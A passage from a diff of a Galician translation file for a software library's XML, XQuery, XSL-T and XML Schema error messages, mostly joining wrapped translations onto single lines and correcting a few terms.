be %1 in any combination of upper and lower case. Therefore, %2 is invalid. - + O nome de destino nunha instrución de procesamento non pode ser %1 en ningunha combinación de maiúsculas nin minúsculas, polo que +%2 non é válido. %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3. - + %1 non é un nome válido de destino dunha instrución de procesamento. Debe ser un valor %2, p. ex. %3. The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two. - O último paso nunha rota debe conter ou nodos ou valores atómicos. Non pode ser unha mistura dos dous. + O último paso nunha ruta debe conter ou nodos ou valores atómicos. Non pode ser unha mistura dos dous. The data of a processing instruction cannot contain the string %1 @@ -8202,1627 +8270,1555 @@ Desexa sobrescribilo? %1 must be followed by %2 or %3, not at the end of the replacement string. - %1 debe estar seguido por %2 ou %3, non na fin da cadea substituta. + %1 debe estar seguido por %2 ou %3, non na fin da cadea substituta. In the replacement string, %1 must be followed by at least one digit when not escaped. - Na cadea substituta, %1 debe ir seguido de cando menos un díxito cando non -estea escapada. + Na cadea substituta, %1 debe ir seguido de cando menos un díxito cando non estea escapada. In the replacement string, %1 can only be used to escape itself or %2, not %3 - Na cadea substituta, %1 só pode ser usado para escaparse a si mesmo ou %2, -non %3. + Na cadea substituta %1 só pode ser usado para escaparse a si mesmo ou a %2, non a %3. %1 matches newline characters - %1 casa con caracteres de nova liña + %1 casa con caracteres de nova liña %1 and %2 match the start and end of a line. - %1 e %2 casan con comezo e fin de liña + %1 e %2 casan con comezo e fin de liña. Matches are case insensitive - As concordancias non son sensíbeis á capitalización + As concordancias non son sensíbeis á capitalización Whitespace characters are removed, except when they appear in character classes - Os espazos en branco son eliminados, excepto se aparecen en clases de -caracteres + Os espazos en branco son eliminados, excepto se aparecen en clases de caracteres %1 is an invalid regular expression pattern: %2 - %1 é un padrón non válido de expresión regular: %2 + %1 é un padrón non válido de expresión regular: %2 %1 is an invalid flag for regular expressions. Valid flags are: - %1 é unha bandeira non válida de expresión regular. As valedoiras son: + %1 é unha bandeira non válida de expresión regular. As valedoiras son: If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified. - Se o primeiro argumento é a secuencia baleira ou unha cadea de lonxitude -cero (sen espazo de nomes), non se pode especificar un prefixo. -Especificouse o prefixo %1. + Se o primeiro argumento é a secuencia baleira ou unha cadea de lonxitude cero (sen espazo de nomes), non se pode especificar un prefixo. Especificouse o prefixo %1. It will not be possible to retrieve %1. - Non será posíbel acadar %1. + Non será posíbel acadar %1. The default collection is undefined - Non se definiu a colección predeterminada. + Non se definiu a colección predeterminada %1 cannot be retrieved - Non é posíbel acadar %1 + Non é posíbel acadar %1 The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization). - A forma de normalización %1 non está soportada. As formas soportadas son %2, -%3, %4, %5 e ningunha, i.e. a cadea en branco (sen normalización). + A forma de normalización %1 non está soportada. As formas soportadas son %2, %3, %4, %5 e ningunha, i.e. a cadea en branco (sen normalización). A zone offset must be in the range %1..%2 inclusive. %3 is out of range. - O desprazamento de zona debe estar no intervalo %1..%2 inclusive. %3 está -fora de intervalo. + O desprazamento de zona debe estar no intervalo %1..%2 inclusive. %3 está fora de intervalo. %1 is not a whole number of minutes. - %1 non é un número absoluto de minutos. + %1 non é un número absoluto de minutos. The URI cannot have a fragment - A URI non pode ter un anaco + A URI non pode ter un anaco Required cardinality is %1; got cardinality %2. - A cardinalidade requirida é %1; obtívose a cardinalidade %2. + A cardinalidade requirida é %1; obtívose a cardinalidade %2. The item %1 did not match the required type %2. - O ítem %1 non é do tipo requirido %2. + O elemento %1 non é do tipo requirido %2. The variable %1 is unused - A variábel %1 non é usada + A variábel %1 non é usada W3C XML Schema identity constraint selector - Selector de restrición de identidade do esquema XML do W3C + Selector de restrición de identidade do esquema XML do W3C W3C XML Schema identity constraint field - Campo de restrición de identidade do esquema XML do W3C + Campo de restrición de identidade do esquema XML do W3C A construct was encountered which is disallowed in the current language(%1). - Atopouse unha construción que non está permitida na linguaxe actual (%1). + Atopouse unha construción que non está permitida na linguaxe actual (%1). %1 is an unknown schema type. - %1 é un tipo de esquema descoñecido. + %1 é un tipo de esquema descoñecido. A template with name %1 has already been declared. - Xa se declarou un modelo co nome %1. + Xa se declarou un modelo co nome %1. %1 is not a valid numeric literal. - %1 non é un texto numérico válido. + %1 non é un texto numérico válido. Only one %1 declaration can occur in the query prolog. - Só pode haber unha declaración de %1 no prólogo da procura. + Só pode haber unha declaración de %1 no prólogo da procura. The initialization of variable %1 depends on itself - A inicialización da variábel %1 depende de si mesma + A inicialización da variábel %1 depende de si mesma No variable with name %1 exists - Non hai ningunha variábel chamada %1 + Non hai ningunha variábel chamada %1 Version %1 is not supported. The supported XQuery version is 1.0. - Non está soportada a versión %1. A versión soportada de XQuery é a 1.0. + Non está soportada a versión %1. A versión soportada de XQuery é a 1.0. The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2. - A codificación %1 non é válida. Só debe conter caracteres Latinos, non pode -conter espazos, e debe casar coa expresión regular %2. + A codificación %1 non é válida. Só debe conter caracteres Latinos, non pode conter espazos, e debe casar coa expresión regular %2. No function with signature %1 is available - Non está dispoñíbel ningunha función coa sinatura %1 + Non está dispoñíbel ningunha función coa sinatura %1 A default namespace declaration must occur before function, variable, and option declarations. - Debe haber unha declaración dun espazo de nomes predeterminado antes das -declaracións de funcións, variábeis e opcións. + Debe haber unha declaración dun espazo de nomes predeterminado antes das declaracións de funcións, variábeis e opcións. Namespace declarations must occur before function, variable, and option declarations. - Debe haber declaracións dun espazo de nomes antes das declaracións de -funcións, variábeis e opcións. + Debe haber declaracións dun espazo de nomes antes das declaracións de funcións, variábeis e opcións. Module imports must occur before function, variable, and option declarations. - As importacións de módulos deben estar antes das declaracións de funcións, -variábeis e opcións. + As importacións de módulos deben estar antes das declaracións de funcións, variábeis e opcións. The keyword %1 cannot occur with any other mode name. - A palabra-chave %1 só pode aparecer con calquera outro nome de modo. + A palabra-chave %1 só pode aparecer con calquera outro nome de modo. The value of attribute %1 must be of type %2, which %3 isn't. - O valor do atributo %1 debe ser do tipo %2 e %3 non o é. + O valor do atributo %1 debe ser do tipo %2 e %3 non o é. It is not possible to redeclare prefix %1. - Non é posíbel declarar de novo o prefixo %1. + Non é posíbel declarar de novo o prefixo %1. The prefix %1 cannot be bound. By default, it is already bound to the namespace %2. - Non foi posíbel atopar o prefixo %1. Por omisión, xa está vinculado co -espazo de nomes %2. + Non foi posíbel vincular o prefixo %1. Por omisión, xa está vinculado co espazo de nomes %2. Prefix %1 is already declared in the prolog. - O prefixo %1 xa está declarado no prólogo. + O prefixo %1 xa está declarado no prólogo. The name of an option must have a prefix. There is no default namespace for options. - O nome dunha opción debe ter un prefixo. Non hai un espazo de nomes -predeterminado para as opcións. + O nome dunha opción debe ter un prefixo. Non hai un espazo de nomes predeterminado para as opcións. The Schema Import feature is not supported, and therefore %1 declarations cannot occur. - A funcionalidade de Importación de Esquema non está soportada, polo tanto -non pode haber declaracións %1. + A funcionalidade de Importación de Esquema non está soportada, polo tanto non pode haber declaracións %1. The target namespace of a %1 cannot be empty. - O espazo de nomes de destino dun %1 non pode estar en branco. + O espazo de nomes de destino dun %1 non pode estar en branco. The module import feature is not supported - A funcionalidade de importación de módulos non está soportada + A funcionalidade de importación de módulos non está soportada A variable with name %1 has already been declared. - Xa foi declarada unha variábel co nome %1. + Xa foi declarada unha variábel co nome %1. No value is available for the external variable with name %1. - Non se dispón de ningún valor para a variábel externa chamada %1. + Non se dispón de ningún valor para a variábel externa chamada %1. A stylesheet function must have a prefixed name. - As funcións de folla de estilo deben ter un nome con prefixo. + As funcións de folla de estilo deben ter un nome con prefixo. The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this) - O espazo de nomes das funcións definidas polo usuario non pode estar en -branco (probe co prefixo predefinido %1, que está para casos como este) + O espazo de nomes das funcións definidas polo usuario non pode estar en branco (probe co prefixo predefinido %1, que está para casos como este) The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases. - O espazo de nomes %1 está reservado; polo tanto as funcións definidas polo -usuario non poden usalo. Ténteo co prefixo predefinido %2, que está para -casos como este. + O espazo de nomes %1 está reservado; polo tanto as funcións definidas polo usuario non poden usalo. Ténteo co prefixo predefinido %2, que está para casos como este. The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2 - O espazo de nomes dunha función definida polo usuario nun módulo de -biblioteca debe ser equivalente ao espazo de nomes do módulo. Con outras -verbas: debe ser %1 no canto de %2 + O espazo de nomes dunha función definida polo usuario nun módulo de biblioteca debe ser equivalente ao espazo de nomes do módulo. Con outras verbas: debe ser %1 no canto de %2 A function already exists with the signature %1. - Xa existe unha función coa sinatura %1. + Xa existe unha función coa sinatura %1. No external functions are supported. All supported functions can be used directly, without first declaring them as external - Non se soportan as funcións externas. Todas as funcións soportadas poden ser -usadas directamente, non fai falla declaralas como externas + Non se soportan as funcións externas. Todas as funcións soportadas poden ser usadas directamente, non fai falla declaralas como externas An argument with name %1 has already been declared. Every argument name must be unique. - Xa foi declarado un argumento co nome %1. O nome de cada argumento debe ser -único. + Xa foi declarado un argumento co nome %1. O nome de cada argumento debe ser único. When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal. - Cando se emprega unha función %1 para procurar nun patrón, o argumento debe -ser unha referencia variábel ou unha cadea literal. + Cando se emprega unha función %1 para procurar nun patrón, o argumento debe ser unha referencia variábel ou unha cadea literal. In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching. - Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada -para facer procuras debe ser unha cadea de texto. + Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada para facer procuras debe ser unha cadea de texto. In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching. - Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada -para facer procuras debe ser unha cadea de texto ou unha referencia variábel. + Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada para facer procuras debe ser unha cadea de texto ou unha referencia variábel. In an XSL-T pattern, function %1 cannot have a third argument. - Nun patrón XSL-T, a función %1 non pode ter un terceiro argumento. + Nun patrón XSL-T, a función %1 non pode ter un terceiro argumento. In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching. - Nun patrón XSL-T, só pode empregar para procuras as funcións %1 e %2, non a % -3. + Nun patrón XSL-T, só pode empregar para procuras as funcións %1 e %2, non a %3. In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can. - Nun patrón XSL-T non pode empregarse o eixo %1, só os %2 e %3. + Nun patrón XSL-T non pode empregarse o eixo %1, só os %2 e %3. %1 is an invalid template mode name. - %1 non é un nome de modo válido do modelo. + %1 non é un nome de modo válido do modelo. The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide. - O nome dunha variábel asociada a unha expresión for debe ser diferente da -variábel posicional. Por isto, as dúas variábeis chamadas %1 chocan. + O nome dunha variábel asociada a unha expresión for debe ser diferente da variábel posicional. Por isto, as dúas variábeis chamadas %1 chocan. The Schema Validation Feature is not supported. Hence, %1-expressions may not be used. - Non está soportada a funcionalidade de Validación do Esquema. Polo tanto, as -expresións %1 non poden ser usadas. + Non está soportada a funcionalidade de Validación do Esquema. Polo tanto, as expresións %1 non poden ser usadas. None of the pragma expressions are supported. Therefore, a fallback expression must be present - Non está soportada ningunha das expresións pragma. Polo tanto, debe haber -presente unha expresión de reserva + Non está soportada ningunha das expresións pragma. Polo tanto, debe haber presente unha expresión de reserva Each name of a template parameter must be unique; %1 is duplicated. - Os nomes dos parámetros do modelo deben ser únicos, %1 está duplicado. + Os nomes dos parámetros do modelo deben ser únicos, %1 está duplicado. The %1-axis is unsupported in XQuery - Non está soportado o eixo %1 en XQuery + Non está soportado o eixo %1 en XQuery No function with name %1 is available. - Non hai ningunha función chamada %1. + Non hai ningunha función chamada %1. The namespace URI cannot be the empty string when binding to a prefix, %1. - A URI do espazo de nomes non pode ser unha cadea valeira cando se estexa a -asociar cun prefixo, %1. + A URI do espazo de nomes non pode ser unha cadea valeira cando se estea a asociar cun prefixo, %1. %1 is an invalid namespace URI. - %1 non é unha URI válida de espazo de nomes. + %1 non é unha URI válida de espazo de nomes. It is not possible to bind to the prefix %1 - Non é posíbel asociar co prefixo %1 + Non é posíbel asociar co prefixo %1 Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared). - O espazo de nomes %1 só pode estar vinculado a %2 (e está, en calquera caso, -predeclarado). + O espazo de nomes %1 só pode estar vinculado a %2 (e está, en calquera caso, predeclarado). Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared). - O prefixo %1 só pode estar vinculado a %2 (e está, en calquera caso, -predeclarado). + O prefixo %1 só pode estar vinculado a %2 (e está, en calquera caso, predeclarado). Two namespace declaration attributes have the same name: %1. - Dous atributos na declaración dun espazo de nomes teñen o mesmo nome: %1. + Dous atributos na declaración dun espazo de nomes teñen o mesmo nome: %1. The namespace URI must be a constant and cannot use enclosed expressions. - A URI do espazo de nomes debe ser constante e non pode conter expresións. + A URI do espazo de nomes debe ser constante e non pode conter expresións. An attribute with name %1 has already appeared on this element. - Xa apareceu un atributo co nome %1 neste elemento. + Xa apareceu un atributo co nome %1 neste elemento. A direct element constructor is not well-formed. %1 is ended with %2. - Hai un construtor directo dun elemento que non está ben formado. %1 remata -con %2. + Hai un construtor directo dun elemento que non está ben formado. %1 remata con %2. The name %1 does not refer to any schema type. - O nome %1 non se refire a ningún tipo de esquema. + O nome %1 non se refire a ningún tipo de esquema. %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works. - %1 é un tipo complexo. Non é posíbel converter a tipos complexos. Porén, si -que pode converter a tipos atómicos como %2. + %1 é un tipo complexo. Non é posíbel converter a tipos complexos. Porén, si que pode converter a tipos atómicos como %2. %1 is not an atomic type. Casting is only possible to atomic types. - %1 non é un tipo atómico. Só é posíbel converter a tipos atómicos. + %1 non é un tipo atómico. Só é posíbel converter a tipos atómicos. %1 is not a valid name for a processing-instruction. - %1 non é un nome válido para unha instrución de procesamento. + %1 non é un nome válido para unha instrución de procesamento. %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported. - %1 non está nas declaracións de atributos ao alcance. Lembre que non está -soportada a funcionalidade de importación de esquemas. + %1 non está nas declaracións de atributos ao alcance. Lembre que non está soportada a funcionalidade de importación de esquemas. The name of an extension expression must be in a namespace. - O nome dunha expresión de extensión debe estar nun espazo de nomes. + O nome dunha expresión de extensión debe estar nun espazo de nomes. Element %1 is not allowed at this location. - Neste lugar non se permite o elemento %1. + Neste lugar non se permite o elemento %1. Text nodes are not allowed at this location. - Neste lugar non se permiten nodos de texto. + Neste lugar non se permiten nodos de texto. Parse error: %1 - Erro de procesamento: %1 + Erro de procesamento: %1 The value of the XSL-T version attribute must be a value of type %1, which %2 isn't. - O valor do atributo da versión de XSL-T debe ser un valor do tipo %1, e %2 -non o é. + O valor do atributo da versión de XSL-T debe ser un valor do tipo %1, e %2 non o é. Running an XSL-T 1.0 stylesheet with a 2.0 processor. - A executar unha folla de estilos XSL-T 1.0 cun procesador 2.0. + A executar unha folla de estilos XSL-T 1.0 cun procesador 2.0. Unknown XSL-T attribute %1. - Non se coñece o atributo XSL-T %1. + Non se coñece o atributo XSL-T %1. Attribute %1 and %2 are mutually exclusive. - Os atributos %1 e %2 exclúense mutuamente. + Os atributos %1 e %2 exclúense mutuamente. In a simplified stylesheet module, attribute %1 must be present. - Nun módulo de folla de estilos simplificada debe estar presente o atributo % -1. + Nun módulo de folla de estilos simplificada debe estar presente o atributo %1. If element %1 has no attribute %2, it cannot have attribute %3 or %4. - Se o elemento %1 non ten o atributo %2 non pode ter os atributos %3 nin %4. + Se o elemento %1 non ten o atributo %2 non pode ter os atributos %3 nin %4. Element %1 must have at least one of the attributes %2 or %3. - O elemento %1 debe ter polo menos un dos atributos %2 ou %3. + O elemento %1 debe ter polo menos un dos atributos %2 ou %3. At least one mode must be specified in the %1-attribute on element %2. - Debe especificarse polo menos un modo no atributo %1 do elemento %2. + Debe especificarse polo menos un modo no atributo %1 do elemento %2. Element %1 must come last. - O elemento %1 debe ir o último. + O elemento %1 debe ir o último. At least one %1-element must occur before %2. - Debe estar presente polo menos un elemento %1 antes de %2. + Debe estar presente polo menos un elemento %1 antes de %2. Only one %1-element can appear. - Só pode aparecer un elemento %1. + Só pode aparecer un elemento %1. At least one %1-element must occur inside %2. - Debe estar presente polo menos un elemento %1 dentro de %2. + Debe estar presente polo menos un elemento %1 dentro de %2. When attribute %1 is present on %2, a sequence constructor cannot be used. - Non se pode empregar un construtor de secuencia cando o atributo %1 está -presente en %2. + Non se pode empregar un construtor de secuencia cando o atributo %1 está presente en %2. Element %1 must have either a %2-attribute or a sequence constructor. - O elemento %1 debe ter ou un atributo %2 ou un construtor de secuencia. + O elemento %1 debe ter ou un atributo %2 ou un construtor de secuencia. When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor. - Non se pode subministrar un valor predeterminado mediante un atributo %1 nin -un construtor de secuencia cando se require un parámetro. + Non se pode subministrar un valor predeterminado mediante un atributo %1 nin un construtor de secuencia cando se require un parámetro. Element %1 cannot have children. - O elemento %1 non pode ter fillos. + O elemento %1 non pode ter fillos. Element %1 cannot have a sequence constructor. - O elemento %1 non pode ter un construtor de secuencia. + O elemento %1 non pode ter un construtor de secuencia. The attribute %1 cannot appear on %2, when it is a child of %3. - O atributo %1 non pode aparecer en %2 cando é filla de %3. + O atributo %1 non pode aparecer en %2 cando é filla de %3. A parameter in a function cannot be declared to be a tunnel. - Non se pode declarar como túnel un parámetro nunha función. + Non se pode declarar como túnel un parámetro nunha función. This processor is not Schema-aware and therefore %1 cannot be used. - Este procesador non é coñecedor do Schema e polo tanto %1 non pode -empregarse. + Este procesador non é coñecedor do Schema e polo tanto %1 non pode empregarse. Top level stylesheet elements must be in a non-null namespace, which %1 isn't. - Os elementos da folla de estilo de máximo nivel debe estar nun espazo de -nomes non nulo, e %1 non o é. + Os elementos da folla de estilo de máximo nivel debe estar nun espazo de nomes non nulo, e %1 non o é. The value for attribute %1 on element %2 must either be %3 or %4, not %5. - O valor do atributo %1 no elemento %2 debe ser %3 ou %4, non %5. + O valor do atributo %1 no elemento %2 debe ser %3 ou %4, non %5. Attribute %1 cannot have the value %2. - O atributo %1 non pode ter o valor %2. + O atributo %1 non pode ter o valor %2. The attribute %1 can only appear on the first %2 element. - O atributo %1 só pode aparecer no primeiro elemento %2. + O atributo %1 só pode aparecer no primeiro elemento %2. At least one %1 element must appear as child of %2. - Debe aparecer cando menos un elemento %1 como fillo de %2. + Debe aparecer cando menos un elemento %1 como fillo de %2. Empty particle cannot be derived from non-empty particle. - Unha partícula baleira non pode derivarse dunha non baleira. + Unha partícula baleira non pode derivarse dunha non baleira. Derived particle is missing element %1. - Na partícula derivada falta o elemento %1. + Na partícula derivada falta o elemento %1. Derived element %1 is missing value constraint as defined in base particle. - No elemento derivado %1 falta a restrición aos valores definida na partícula -de base. + No elemento derivado %1 falta a restrición aos valores definida na partícula de base. Derived element %1 has weaker value constraint than base particle. - O elemento derivado %1 ten unha restrición aos valores máis feble do que a -da súa partícula de base. + O elemento derivado %1 ten unha restrición aos valores máis feble do que a da súa partícula de base. Fixed value constraint of element %1 differs from value constraint in base particle. - A restrición de valor fixo do elemento %1 é diferente da de valor da -partícula base. + A restrición de valor fixo do elemento %1 é diferente da de valor da partícula base. Derived element %1 cannot be nillable as base element is not nillable. - O elemento derivado %1 non se pode anular porque o elemento de base non se -pode anular. + O elemento derivado %1 non se pode anular porque o elemento de base non se pode anular. Block constraints of derived element %1 must not be more weaker than in the base element. - O bloque de restricións do elemento derivado %1 non pode ser máis feble do -que son as do elemento de base. + O bloque de restricións do elemento derivado %1 non pode ser máis feble do que son as do elemento de base. Simple type of derived element %1 cannot be validly derived from base element. - O tipo simple do elemento derivado %1 non se pode derivar con validez a -partir do elemento de base. + O tipo simple do elemento derivado %1 non se pode derivar con validez a partir do elemento de base. Complex type of derived element %1 cannot be validly derived from base element. - O tipo complexo do elemento derivado %1 non se pode derivar con validez a -partir do elemento de base. + O tipo complexo do elemento derivado %1 non se pode derivar con validez a partir do elemento de base. Element %1 is missing in derived particle. - Falta o elemento %1 na partícula derivada. + Falta o elemento %1 na partícula derivada. Element %1 does not match namespace constraint of wildcard in base particle. - O elemento %1 non casa coa restrición do espazo de nomes de comodín na -partícula de base. + O elemento %1 non casa coa restrición do espazo de nomes de comodín na partícula de base. Wildcard in derived particle is not a valid subset of wildcard in base particle. - O comodín da partícula derivada non é un subconxunto válido do da partícula -de base. + O carácter de substitución da partícula derivada non é un subconxunto válido do da partícula de base. processContent of wildcard in derived particle is weaker than wildcard in base particle. - O processContent do comodín na partícula derivada é máis feble que o do -comodín na partícula de base. + O processContent do comodín na partícula derivada é máis feble que o do comodín na partícula de base. Derived particle allows content that is not allowed in the base particle. - A partícula derivada permite contido non permitido na partícula de base. + A partícula derivada permite contido non permitido na partícula de base. %1 has inheritance loop in its base type %2. - %1 ten un bucle de herdanza no seu tipo base %2. + %1 ten un bucle de herdanza no seu tipo base %2. Circular inheritance of base type %1. - Herdanza circular do tipo de base %1. + Herdanza circular do tipo de base %1. Circular inheritance of union %1. - Herdanza circular da unión %1. + Herdanza circular da unión %1. %1 is not allowed to derive from %2 by restriction as the latter defines it as final. - Non se permite que %1 derive de %2 debido a unha restrición xa que o este -defíneo como final. + Non se permite que %1 derive de %2 debido a unha restrición xa que o este defíneo como final. %1 is not allowed to derive from %2 by extension as the latter defines it as final. - Non se permite que %1 derive de %2 por extensión debido a unha restrición xa -que o este defíneo como final. + Non se permite que %1 derive de %2 por extensión debido a unha restrición xa que o este defíneo como final. Base type of simple type %1 cannot be complex type %2. - O tipo base do tipo simple %1 non pode ser do tipo complexo %2. + O tipo base do tipo simple %1 non pode ser do tipo complexo %2. Simple type %1 cannot have direct base type %2. - O tipo simple %1 non pode ter unha base directa do tipo %2. + O tipo simple %1 non pode ter unha base directa do tipo %2. Simple type %1 is not allowed to have base type %2. - Ao tipo simple %1 non se lle permite ter unha base do tipo %2. + Ao tipo simple %1 non se lle permite ter unha base do tipo %2. Simple type %1 can only have simple atomic type as base type. - O tipo simple %1 só pode ter un tipo atómico simple como tipo de base. + O tipo simple %1 só pode ter un tipo atómico simple como tipo de base. Simple type %1 cannot derive from %2 as the latter defines restriction as final. - O tipo simple %1 non pode derivar do %2 xa que este define a restrición como -final. + O tipo simple %1 non pode derivar do %2 xa que este define a restrición como final. Variety of item type of %1 must be either atomic or union. - A variedade do tipo de elemento de %1 debe ser ou ou atómico ou unión. + A variedade do tipo de elemento de %1 debe ser ou ou atómico ou unión. Variety of member types of %1 must be atomic. - A variedade dos tipos membro de %1 debe sen atómica. + A variedade dos tipos membro de %1 debe sen atómica. %1 is not allowed to derive from %2 by list as the latter defines it as final. - Non se permite que %1 derive de %2 por lista xa que esta defínea como final. + Non se permite que %1 derive de %2 por lista xa que esta defínea como final. Simple type %1 is only allowed to have %2 facet. - Só se permite que o tipo simple %1 teña a faceta %2. + Só se permite que o tipo simple %1 teña a faceta %2. Base type of simple type %1 must have variety of type list. - O tipo base do tipo simple %1 debe ser variedade do tipo lista. + O tipo base do tipo simple %1 debe ser variedade do tipo lista. Base type of simple type %1 has defined derivation by restriction as final. - O tipo base do tipo simple %1 definiu a derivación por restrición como final. + O tipo base do tipo simple %1 definiu a derivación por restrición como final. Item type of base type does not match item type of %1. - O tipo de elemento do tipo de base non casa co tipo de elemento de %1. + O tipo de elemento do tipo de base non casa co tipo de elemento de %1. Simple type %1 contains not allowed facet type %2. - O tipo simple %1 contén unha faceta non permitida do tipo %2. + O tipo simple %1 contén unha faceta non permitida do tipo %2. %1 is not allowed to derive from %2 by union as the latter defines it as final. - Non se permite que %1 derive de %2 por unión xa que este defínea como final. + Non se permite que %1 derive de %2 por unión xa que este defínea como final. %1 is not allowed to have any facets. - %1 non pode ter ningunha faceta. + %1 non pode ter ningunha faceta. Base type %1 of simple type %2 must have variety of union. - O tipo de base %1 do tipo simple %2 debe ser unha variedade de unión. + O tipo de base %1 do tipo simple %2 debe ser unha variedade de unión. Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute. - Non se permite que o tipo base %1 do tipo simple %2 teña restrición no -atributo %3. + Non se permite que o tipo base %1 do tipo simple %2 teña restrición no atributo %3. Member type %1 cannot be derived from member type %2 of %3's base type %4. - O tipo membro %1 non se pode derivar do tipo membro %2 do tipo base %4 de %3. + O tipo membro %1 non se pode derivar do tipo membro %2 do tipo base %4 de %3. Derivation method of %1 must be extension because the base type %2 is a simple type. - O método de derivación de %1 debe ser por extensión porque o tipo base %2 é -un tipo simple. + O método de derivación de %1 debe ser por extensión porque o tipo base %2 é un tipo simple. Complex type %1 has duplicated element %2 in its content model. - O tipo complexo %1 contén por duplicado o elemento %2 no seu modelo de -contido. + O tipo complexo %1 contén por duplicado o elemento %2 no seu modelo de contido. Complex type %1 has non-deterministic content. - O tipo complexo %1 ten contido non determinista. + O tipo complexo %1 ten contido non determinista. Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3. - Os atributos do tipo complexo %1 non son unha extensión válida dos atributos -do tipo base %2: %3. + Os atributos do tipo complexo %1 non son unha extensión válida dos atributos do tipo base %2: %3. Content model of complex type %1 is not a valid extension of content model of %2. - O modelo de contido do tipo complexo %1 non é unha extensión válida do -modelo de contido de %2. + O modelo de contido do tipo complexo %1 non é unha extensión válida do modelo de contido de %2. Complex type %1 must have simple content. - O tipo complexo %1 debe ter contido simple. + O tipo complexo %1 debe ter contido simple. Complex type %1 must have the same simple type as its base class %2. - O tipo complexo %1 debe ter o mesmo tipo simple que a súa clase de base %2. + O tipo complexo %1 debe ter o mesmo tipo simple que a súa clase de base %2. Complex type %1 cannot be derived from base type %2%3. - O tipo complexo %1 non pode derivarse do tipo de base %2%3. + O tipo complexo %1 non pode derivarse do tipo de base %2%3. Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3. - Os atributos do tipo complexo %1 non son unha restrición válida baseada nos -atributos do tipo base %2: %3. + Os atributos do tipo complexo %1 non son unha restrición válida baseada nos atributos do tipo base %2: %3. Complex type %1 with simple content cannot be derived from complex base type %2. - O tipo complexo %1 con contido simple non se pode derivar do tipo de base -complexo %2. + O tipo complexo %1 con contido simple non se pode derivar do tipo de base complexo %2. Item type of simple type %1 cannot be a complex type. - O tipo de elemento do tipo simple %1 non pode ser un tipo complexo. + O tipo de elemento do tipo simple %1 non pode ser un tipo complexo. Member type of simple type %1 cannot be a complex type. - O tipo membro do tipo simple %1 non pode ser un tipo complexo. + O tipo membro do tipo simple %1 non pode ser un tipo complexo. %1 is not allowed to have a member type with the same name as itself. - Non se permite que %1 teña un tipo membro co mesmo nome ca el. + Non se permite que %1 teña un tipo membro co mesmo nome ca el. %1 facet collides with %2 facet. - A faceta %1 entra en conflito doa %2. + A faceta %1 entra en conflito doa %2. %1 facet must have the same value as %2 facet of base type. - A faceta %1 debe ter o mesmo valor que a %2 do tipo de base. + A faceta %1 debe ter o mesmo valor que a %2 do tipo de base. %1 facet must be equal or greater than %2 facet of base type. - A faceta %1 debe ser maior ou igual que a %2 do tipo de base. + A faceta %1 debe ser maior ou igual que a %2 do tipo de base. %1 facet must be less than or equal to %2 facet of base type. - A faceta %1 debe ser menor que ou igual que a %2 do tipo de base. + A faceta %1 debe ser menor que ou igual que a %2 do tipo de base. %1 facet contains invalid regular expression - A faceta %1 contén unha expresión regular non válida + A faceta %1 contén unha expresión regular non válida Unknown notation %1 used in %2 facet. - Empregouse a notación non válida %1 na faceta %2. + Empregouse a notación non válida %1 na faceta %2. %1 facet contains invalid value %2: %3. - A faceta %1 contén o valor non válido %2: %3. + A faceta %1 contén o valor non válido %2: %3. %1 facet cannot be %2 or %3 if %4 facet of base type is %5. - A faceta %1 non pode ser %2 nin %3 se a faceta %4 do tipo de base é %5. + A faceta %1 non pode ser %2 nin %3 se a faceta %4 do tipo de base é %5. %1 facet cannot be %2 if %3 facet of base type is %4. - A faceta %1 non pode ser %2 se a faceta %3 do tipo de base é %4. + A faceta %1 non pode ser %2 se a faceta %3 do tipo de base é %4. %1 facet must be less than or equal to %2 facet. - A faceta %1 debe ser menor que ou igual que a %2. + A faceta %1 debe ser menor que ou igual que a %2. %1 facet must be less than %2 facet of base type. - A faceta %1 debe ser menor que a faceta %2 do tipo de base. + A faceta %1 debe ser menor que a faceta %2 do tipo de base. %1 facet and %2 facet cannot appear together. - As facetas %1 e %2 non poden aparecer xuntas. + As facetas %1 e %2 non poden aparecer xuntas. %1 facet must be greater than %2 facet of base type. - A faceta %1 debe ser maior que a faceta %2 do tipo de base. + A faceta %1 debe ser maior que a faceta %2 do tipo de base. %1 facet must be less than %2 facet. - A faceta %1 debe ser menor que a %2. + A faceta %1 debe ser menor que a %2. %1 facet must be greater than or equal to %2 facet of base type. - A faceta %1 deber ser maior ou igual que a faceta %2 do tipo de base. + A faceta %1 deber ser maior ou igual que a faceta %2 do tipo de base. Simple type contains not allowed facet %1. - O tipo simple contén a faceta non permitida %1. + O tipo simple contén a faceta non permitida %1. %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list. - As facetas %1, %2, %3, %4, %5 e %6 non están permitidas cando se deriva por -lista. + As facetas %1, %2, %3, %4, %5 e %6 non están permitidas cando se deriva por lista. Only %1 and %2 facets are allowed when derived by union. - Só se permiten as facetas %1 e %2 cando se deriva por unión. + Só se permiten as facetas %1 e %2 cando se deriva por unión. %1 contains %2 facet with invalid data: %3. - %1 contén a faceta %2 con datos non válidos: %3. 